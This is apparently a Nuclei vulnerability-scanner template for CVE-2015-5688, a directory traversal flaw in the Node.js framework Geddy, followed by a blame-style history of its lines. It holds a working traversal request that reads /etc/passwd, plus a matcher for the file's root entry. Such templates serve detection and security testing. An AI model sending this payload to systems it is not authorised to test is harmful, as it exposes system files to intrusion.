nuclei-templates/cves/2015/CVE-2015-5688.yaml

id: CVE-2015-5688

info:
 name: Geddy before v13.0.8 LFI
 author: pikpikcu
 severity: high
 issues: https://github.com/geddy/geddy/issues/697
 description: Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the PATH_INFO to the default URI.
 reference: https://nodesecurity.io/advisories/geddy-directory-traversal
 tags: cve,cve2015,geddy,lfi

requests:
 - method: GET
   path:
    - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"

   matchers-condition: and
   matchers:
    - type: regex
      regex:
       - "root:[x*]:0:0"
      part: body

    - type: status
      status:
       - 200
Create CVE-2015-5688.yaml 2021-02-25 02:34:40 +00:00			`id: CVE-2015-5688`

			`info:`
			`name: Geddy before v13.0.8 LFI`
			`author: pikpikcu`
			`severity: high`
			`issues: https://github.com/geddy/geddy/issues/697`
Replace CVE link and add description 2021-03-11 17:03:21 +00:00			`description: Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the PATH_INFO to the default URI.`
			`reference: https://nodesecurity.io/advisories/geddy-directory-traversal`
update tags 2021-02-25 02:35:55 +00:00			`tags: cve,cve2015,geddy,lfi`
Create CVE-2015-5688.yaml 2021-02-25 02:34:40 +00:00
			`requests:`
			`- method: GET`
			`path:`
Update CVE-2015-5688.yaml 2021-02-25 08:36:06 +00:00			`- "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"`

Create CVE-2015-5688.yaml 2021-02-25 02:34:40 +00:00			`matchers-condition: and`
			`matchers:`
			`- type: regex`
			`regex:`
			`- "root:[x*]:0:0"`
			`part: body`

			`- type: status`
			`status:`
			`- 200`